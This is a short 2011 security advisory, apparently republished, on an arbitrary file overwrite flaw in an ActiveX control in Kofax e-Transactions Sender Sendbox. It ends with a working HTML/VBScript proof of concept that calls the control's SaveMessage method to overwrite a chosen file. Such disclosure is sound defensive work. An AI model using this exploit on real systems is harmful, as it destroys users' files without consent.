Kofax version 2.5.0.933 suffers from an arbitrary file overwrite vulnerability.
3281c8b5dece97ac0a85e385b7de5c6f12504838d5c29db6be1e5e33f9c43352Vulnerability ID: HTB23016
Reference: http://www.htbridge.ch/advisory/kofax_e_transactions_sender_sendbox_activex_control_savemessage_insecure_method.html
Product: Kofax e-Transactions Sender Sendbox
Vendor: Kofax, Inc ( http://www.kofax.com/ )
Vulnerable Version: 2.5.0.933 and probably prior
Tested on: 2.5.0.933
Vendor Notification: 01 June 2011
Vulnerability Type: ActiveX Control Insecure Method
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Kofax e-Transactions Sender Sendbox, which can be exploited to overwrite arbitrary files.
The vulnerability is caused due to the LEADeMail.LEADSmtp.20 (LTCML14n.dll (14.0.0.34)) ActiveX control including the insecure "SaveMessage()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.
The following PoC code is available:
<html>
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_overwrite"
arg2=True
target.SaveMessage arg1 ,arg2
End Sub
</script>
</html>
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